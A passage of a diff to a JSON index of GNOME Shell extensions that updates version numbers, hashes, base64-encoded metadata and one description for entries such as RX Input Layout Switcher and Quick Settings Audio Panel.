2luZG93IEludmVydCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50cnVlLWNvbG9yLXdpbmRvdy1pbnZlcnQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzIiLAogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0x5bmV0MTAxL2dub21lLXRydWUtY29sb3ItaW52ZXJ0IiwKICAidXVpZCI6ICJ0cnVlLWNvbG9yLXdpbmRvdy1pbnZlcnRAbHluZXQxMDEiLAogICJ2ZXJzaW9uIjogMwp9"},
@@ -6678,16 +6694,17 @@
     "42": {"version": "3", "sha256": "0xm32ywlvkb0wphn9zkxlhjv256db5v47ff6lc67zxwk9v881ylw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9hcmlrdy9yeC1pbnB1dC1sYXlvdXQtc3dpdGNoZXIiLAogICJ1dWlkIjogInJ4LWlucHV0LWxheW91dC1zd2l0Y2hlckB3em1uLm5ldCIsCiAgInZlcnNpb24iOiAzCn0="},
     "43": {"version": "3", "sha256": "0xm32ywlvkb0wphn9zkxlhjv256db5v47ff6lc67zxwk9v881ylw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9hcmlrdy9yeC1pbnB1dC1sYXlvdXQtc3dpdGNoZXIiLAogICJ1dWlkIjogInJ4LWlucHV0LWxheW91dC1zd2l0Y2hlckB3em1uLm5ldCIsCiAgInZlcnNpb24iOiAzCn0="},
     "44": {"version": "3", "sha256": "0xm32ywlvkb0wphn9zkxlhjv256db5v47ff6lc67zxwk9v881ylw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9hcmlrdy9yeC1pbnB1dC1sYXlvdXQtc3dpdGNoZXIiLAogICJ1dWlkIjogInJ4LWlucHV0LWxheW91dC1zd2l0Y2hlckB3em1uLm5ldCIsCiAgInZlcnNpb24iOiAzCn0="},
-    "45": {"version": "8", "sha256": "03sfxi5svp0l6y2wvk29ms6qgc6b5aiiwl52nbfcws3y8p9iywdm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYXJpa3cvcngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyIiwKICAidXVpZCI6ICJyeC1pbnB1dC1sYXlvdXQtc3dpdGNoZXJAd3ptbi5uZXQiLAogICJ2ZXJzaW9uIjogOAp9"},
-    "46": {"version": "8", "sha256": "03sfxi5svp0l6y2wvk29ms6qgc6b5aiiwl52nbfcws3y8p9iywdm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYXJpa3cvcngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyIiwKICAidXVpZCI6ICJyeC1pbnB1dC1sYXlvdXQtc3dpdGNoZXJAd3ptbi5uZXQiLAogICJ2ZXJzaW9uIjogOAp9"},
-    "47": {"version": "8", "sha256": "03sfxi5svp0l6y2wvk29ms6qgc6b5aiiwl52nbfcws3y8p9iywdm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYXJpa3cvcngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyIiwKICAidXVpZCI6ICJyeC1pbnB1dC1sYXlvdXQtc3dpdGNoZXJAd3ptbi5uZXQiLAogICJ2ZXJzaW9uIjogOAp9"}
+    "45": {"version": "9", "sha256": "0s3zz0l1sx49nhl8m5djlzgak1387ms44xb1j8nxb3idpqp581cj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FyaWt3L3J4LWlucHV0LWxheW91dC1zd2l0Y2hlciIsCiAgInV1aWQiOiAicngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyQHd6bW4ubmV0IiwKICAidmVyc2lvbiI6IDkKfQ=="},
+    "46": {"version": "9", "sha256": "0s3zz0l1sx49nhl8m5djlzgak1387ms44xb1j8nxb3idpqp581cj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FyaWt3L3J4LWlucHV0LWxheW91dC1zd2l0Y2hlciIsCiAgInV1aWQiOiAicngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyQHd6bW4ubmV0IiwKICAidmVyc2lvbiI6IDkKfQ=="},
+    "47": {"version": "9", "sha256": "0s3zz0l1sx49nhl8m5djlzgak1387ms44xb1j8nxb3idpqp581cj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FyaWt3L3J4LWlucHV0LWxheW91dC1zd2l0Y2hlciIsCiAgInV1aWQiOiAicngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyQHd6bW4ubmV0IiwKICAidmVyc2lvbiI6IDkKfQ=="},
+    "48": {"version": "9", "sha256": "0s3zz0l1sx49nhl8m5djlzgak1387ms44xb1j8nxb3idpqp581cj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBBbHQrU2hpZnQgdG8gY2hhbmdlIHRoZSBrZXlib2FyZCBsYW5ndWFnZSIsCiAgIm5hbWUiOiAiUlggSW5wdXQgTGF5b3V0IFN3aXRjaGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FyaWt3L3J4LWlucHV0LWxheW91dC1zd2l0Y2hlciIsCiAgInV1aWQiOiAicngtaW5wdXQtbGF5b3V0LXN3aXRjaGVyQHd6bW4ubmV0IiwKICAidmVyc2lvbiI6IDkKfQ=="}
   }}
 , {"uuid": "dejaview@hedgie.tech", "name": "Dejaview", "pname": "dejaview", "description": "Show a notification with a chosen frequency", "link": "https://extensions.gnome.org/extension/5850/dejaview/", "shell_version_map": {
     "46": {"version": "14", "sha256": "1k3rzpcbh9yabr1c5zwxgz5m4gicnjxd202644gzimy1jdw2iwpq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgYSBub3RpZmljYXRpb24gd2l0aCBhIGNob3NlbiBmcmVxdWVuY3kiLAogICJuYW1lIjogIkRlamF2aWV3IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRlamF2aWV3IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaGVkZ2llaW5zb2Nrcy9nbm9tZS1leHRlbnNpb24tZGVqYXZpZXciLAogICJ1dWlkIjogImRlamF2aWV3QGhlZGdpZS50ZWNoIiwKICAidmVyc2lvbiI6IDE0Cn0="},
     "47": {"version": "14", "sha256": "1k3rzpcbh9yabr1c5zwxgz5m4gicnjxd202644gzimy1jdw2iwpq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgYSBub3RpZmljYXRpb24gd2l0aCBhIGNob3NlbiBmcmVxdWVuY3kiLAogICJuYW1lIjogIkRlamF2aWV3IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRlamF2aWV3IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaGVkZ2llaW5zb2Nrcy9nbm9tZS1leHRlbnNpb24tZGVqYXZpZXciLAogICJ1dWlkIjogImRlamF2aWV3QGhlZGdpZS50ZWNoIiwKICAidmVyc2lvbiI6IDE0Cn0="},
     "48": {"version": "14", "sha256": "1k3rzpcbh9yabr1c5zwxgz5m4gicnjxd202644gzimy1jdw2iwpq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgYSBub3RpZmljYXRpb24gd2l0aCBhIGNob3NlbiBmcmVxdWVuY3kiLAogICJuYW1lIjogIkRlamF2aWV3IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRlamF2aWV3IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaGVkZ2llaW5zb2Nrcy9nbm9tZS1leHRlbnNpb24tZGVqYXZpZXciLAogICJ1dWlkIjogImRlamF2aWV3QGhlZGdpZS50ZWNoIiwKICAidmVyc2lvbiI6IDE0Cn0="}
   }}
-, {"uuid": "showappsattop@github.com.orbitcorrection", "name": "Apps at Top", "pname": "show-apps-at-top", "description": "Put apps icon at the left end.", "link": "https://extensions.gnome.org/extension/5853/show-apps-at-top/", "shell_version_map": {
+, {"uuid": "showappsattop@github.com.orbitcorrection", "name": "Apps at Top", "pname": "show-apps-at-top", "description": "Put dash apps button at the left end.", "link": "https://extensions.gnome.org/extension/5853/show-apps-at-top/", "shell_version_map": {
     "40": {"version": "12", "sha256": "00ir7rcjwsxq9a2d3fpszvms5zrd358njiz9fmpzl2vigfcww7dc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlB1dCBhcHBzIGljb24gYXQgdG9wIG9mIGRhc2giLAogICJuYW1lIjogIkFwcHMgYXQgVG9wIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9vcmJpdGNvcnJlY3Rvbi9zaG93LWFwcHMtYXQtdG9wIiwKICAidXVpZCI6ICJzaG93YXBwc2F0dG9wQGdpdGh1Yi5jb20ub3JiaXRjb3JyZWN0aW9uIiwKICAidmVyc2lvbiI6IDEyCn0="},
     "41": {"version": "12", "sha256": "00ir7rcjwsxq9a2d3fpszvms5zrd358njiz9fmpzl2vigfcww7dc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlB1dCBhcHBzIGljb24gYXQgdG9wIG9mIGRhc2giLAogICJuYW1lIjogIkFwcHMgYXQgVG9wIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9vcmJpdGNvcnJlY3Rvbi9zaG93LWFwcHMtYXQtdG9wIiwKICAidXVpZCI6ICJzaG93YXBwc2F0dG9wQGdpdGh1Yi5jb20ub3JiaXRjb3JyZWN0aW9uIiwKICAidmVyc2lvbiI6IDEyCn0="},
     "42": {"version": "12", "sha256": "00ir7rcjwsxq9a2d3fpszvms5zrd358njiz9fmpzl2vigfcww7dc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlB1dCBhcHBzIGljb24gYXQgdG9wIG9mIGRhc2giLAogICJuYW1lIjogIkFwcHMgYXQgVG9wIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9vcmJpdGNvcnJlY3Rvbi9zaG93LWFwcHMtYXQtdG9wIiwKICAidXVpZCI6ICJzaG93YXBwc2F0dG9wQGdpdGh1Yi5jb20ub3JiaXRjb3JyZWN0aW9uIiwKICAidmVyc2lvbiI6IDEyCn0="},
@@ -6816,7 +6833,7 @@
     "45": {"version": "48", "sha256": "0nckxx53fxyzxqhp68vdx66yrdw8z3flbd4yhrnp5hpqzkfwhakv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZSBhIG5ldyBwYW5lbCBjb250YWluaW5nIHZvbHVtZXMgYW5kIG1lZGlhIGNvbnRyb2wgaW4gdGhlIHF1aWNrIHNldHRpbmdzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWxAcmF5emVxLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiUXVpY2sgU2V0dGluZ3MgQXVkaW8gUGFuZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vUmF5emVxL3F1aWNrLXNldHRpbmdzLWF1ZGlvLXBhbmVsIiwKICAidXVpZCI6ICJxdWljay1zZXR0aW5ncy1hdWRpby1wYW5lbEByYXl6ZXEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDQ4Cn0="},
     "46": {"version": "71", "sha256": "0l499jlkm7nhissn2c8zp1wkgwnwa08bj272i57ykg14ili3fjds", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZSBhIG5ldyBwYW5lbCBjb250YWluaW5nIHZvbHVtZXMgYW5kIG1lZGlhIGNvbnRyb2wgaW4gdGhlIHF1aWNrIHNldHRpbmdzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWxAcmF5emVxLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiUXVpY2sgU2V0dGluZ3MgQXVkaW8gUGFuZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vUmF5emVxL3F1aWNrLXNldHRpbmdzLWF1ZGlvLXBhbmVsIiwKICAidXVpZCI6ICJxdWljay1zZXR0aW5ncy1hdWRpby1wYW5lbEByYXl6ZXEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDcxCn0="},
     "47": {"version": "88", "sha256": "08ybhbz8hn4r7wd6mc92vq8xxg7qy6341r75y528ql5zj6fn7m3m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZSBhIG5ldyBwYW5lbCBjb250YWluaW5nIHZvbHVtZXMgYW5kIG1lZGlhIGNvbnRyb2wgaW4gdGhlIHF1aWNrIHNldHRpbmdzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWxAcmF5emVxLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiUXVpY2sgU2V0dGluZ3MgQXVkaW8gUGFuZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vUmF5emVxL3F1aWNrLXNldHRpbmdzLWF1ZGlvLXBhbmVsIiwKICAidXVpZCI6ICJxdWljay1zZXR0aW5ncy1hdWRpby1wYW5lbEByYXl6ZXEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDg4Cn0="},
-    "48": {"version": "90", "sha256": "1f8gwixd4rf9ldxgnsassxkmk4w37ykl2zr3kr1gkry2xdg79w8c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZSBhIG5ldyBwYW5lbCBjb250YWluaW5nIHZvbHVtZXMgYW5kIG1lZGlhIGNvbnRyb2wgaW4gdGhlIHF1aWNrIHNldHRpbmdzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWxAcmF5emVxLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiUXVpY2sgU2V0dGluZ3MgQXVkaW8gUGFuZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vUmF5emVxL3F1aWNrLXNldHRpbmdzLWF1ZGlvLXBhbmVsIiwKICAidXVpZCI6ICJxdWljay1zZXR0aW5ncy1hdWRpby1wYW5lbEByYXl6ZXEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDkwCn0="}
+    "48": {"version": "91", "sha256": "0wv592icx27q52d0093alsd84jwscl96cjqn7rv2g68jvmyhi3xk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNyZWF0ZSBhIG5ldyBwYW5lbCBjb250YWluaW5nIHZvbHVtZXMgYW5kIG1lZGlhIGNvbnRyb2wgaW4gdGhlIHF1aWNrIHNldHRpbmdzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWxAcmF5emVxLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiUXVpY2sgU2V0dGluZ3MgQXVkaW8gUGFuZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucXVpY2stc2V0dGluZ3MtYXVkaW8tcGFuZWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vUmF5emVxL3F1aWNrLXNldHRpbmdzLWF1ZGlvLXBhbmVsIiwKICAidXVpZCI6ICJxdWljay1zZXR0aW5ncy1hdWRpby1wYW5lbEByYXl6ZXEuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDkxCn0="}
   }}
 , {"uuid": "soft-brightness-plus@joelkitching.com", "name": "Soft Brightness Plus", "pname": "soft-brightness-plus", "description": "Add or override the brightness slider to change the brightness via an alpha layer (and optionally stop using or cooperate with the exising backlight, if present).\nEither internal, external or all monitors can be dimmed.\nSee the GitHub page for details.\n\nNote that this extension will keep running on the lock screen, as you'd also want the brightness setting to apply to the lock screen as well. Please report on GitHub if this gives you any trouble.\n\nThis extension is a fork of the original 'Soft brightness' extension, and maintains support for new GNOME releases.", "link": "https://extensions.gnome.org/extension/5943/soft-brightness-plus/", "shell_version_map": {
     "38": {"version": "5", "sha256": "08i7qzs1c9ifpa9z5xdiif31jp10g4jxr0ijnn18vmcgv2pkfyln", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBvciBvdmVycmlkZSB0aGUgYnJpZ2h0bmVzcyBzbGlkZXIgdG8gY2hhbmdlIHRoZSBicmlnaHRuZXNzIHZpYSBhbiBhbHBoYSBsYXllciAoYW5kIG9wdGlvbmFsbHkgc3RvcCB1c2luZyBvciBjb29wZXJhdGUgd2l0aCB0aGUgZXhpc2luZyBiYWNrbGlnaHQsIGlmIHByZXNlbnQpLlxuRWl0aGVyIGludGVybmFsLCBleHRlcm5hbCBvciBhbGwgbW9uaXRvcnMgY2FuIGJlIGRpbW1lZC5cblNlZSB0aGUgR2l0SHViIHBhZ2UgZm9yIGRldGFpbHMuXG5cbk5vdGUgdGhhdCB0aGlzIGV4dGVuc2lvbiB3aWxsIGtlZXAgcnVubmluZyBvbiB0aGUgbG9jayBzY3JlZW4sIGFzIHlvdSdkIGFsc28gd2FudCB0aGUgYnJpZ2h0bmVzcyBzZXR0aW5nIHRvIGFwcGx5IHRvIHRoZSBsb2NrIHNjcmVlbiBhcyB3ZWxsLiBQbGVhc2UgcmVwb3J0IG9uIEdpdEh1YiBpZiB0aGlzIGdpdmVzIHlvdSBhbnkgdHJvdWJsZS5cblxuVGhpcyBleHRlbnNpb24gaXMgYSBmb3JrIG9mIHRoZSBvcmlnaW5hbCAnU29mdCBicmlnaHRuZXNzJyBleHRlbnNpb24sIGFuZCBpbmNsdWRlcyBzdXBwb3J0IGZvciBHTk9NRSA0MysuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAic29mdC1icmlnaHRuZXNzLXBsdXMiLAogICJuYW1lIjogIlNvZnQgQnJpZ2h0bmVzcyBQbHVzIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1c2VyIiwKICAgICJ1bmxvY2stZGlhbG9nIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zb2Z0LWJyaWdodG5lc3MtcGx1cyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zNCIsCiAgICAiMy4zNiIsCiAgICAiMy4zOCIsCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vamtpdGNoaW5nL3NvZnQtYnJpZ2h0bmVzcy1wbHVzIiwKICAidXVpZCI6ICJzb2Z0LWJyaWdodG5lc3MtcGx1c0Bqb2Vsa2l0Y2hpbmcuY29tIiwKICAidmNzX3JldmlzaW9uIjogIjc3YjVmOTIiLAogICJ2ZXJzaW9uIjogNQp9"},
@@ -6834,12 +6851,13 @@
     "44": {"version": "2", "sha256": "131rlf6q1w6jxz95j8yf3vpi40y80p1rjax5b2mapm6ppasdlkl2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBkaXNwbGF5cyB0aGUgU3dhdGNoIEludGVybmV0IFRpbWUgb24gdGhlIHBhbmVsLiIsCiAgIm5hbWUiOiAiU3dhdGNoIENsb2NrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL29rYXRvdGYvc3dhdGNoLWNsb2NrIiwKICAidXVpZCI6ICJzd2F0Y2gtY2xvY2tAb2thdG90Zi5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMgp9"}
   }}
 , {"uuid": "gjsosk@vishram1123.com", "name": "GJS OSK", "pname": "gjs-osk", "description": "A new Onscreen Keyboard built using GNOME JS", "link": "https://extensions.gnome.org/extension/5949/gjs-osk/", "shell_version_map": {
